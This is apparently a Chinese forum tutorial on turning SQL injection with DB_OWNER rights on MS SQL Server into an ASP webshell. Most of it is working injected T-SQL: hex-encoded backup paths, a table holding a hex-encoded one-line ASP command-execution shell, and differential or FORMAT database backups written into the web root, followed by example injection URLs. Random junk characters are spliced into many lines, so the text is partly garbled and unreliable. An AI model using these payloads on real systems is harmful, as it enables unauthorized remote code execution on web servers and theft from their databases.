DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
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一利用差异备份
加一个参数WITH DIFFERENTIAL
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; U2 j+ \1 q4 d  b+ {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
- Z" Y8 \6 R$ t! Mcreate table [dbo].[xiaolu] ([cmd] [image]);
9 l7 F9 e3 Z: Qinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 x4 }" b( W5 \4 edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
5 ]' b1 E, j7 l& m, I# ?有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

( t. S) j1 i7 N( m# {  W* kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ t2 M. M2 Z5 a- t  \0 G) l* l/ gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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4 [& T- K9 {3 ^; {: N- y6 V总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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id=1;backup database model to disk=’你的路径‘ with differential,format;–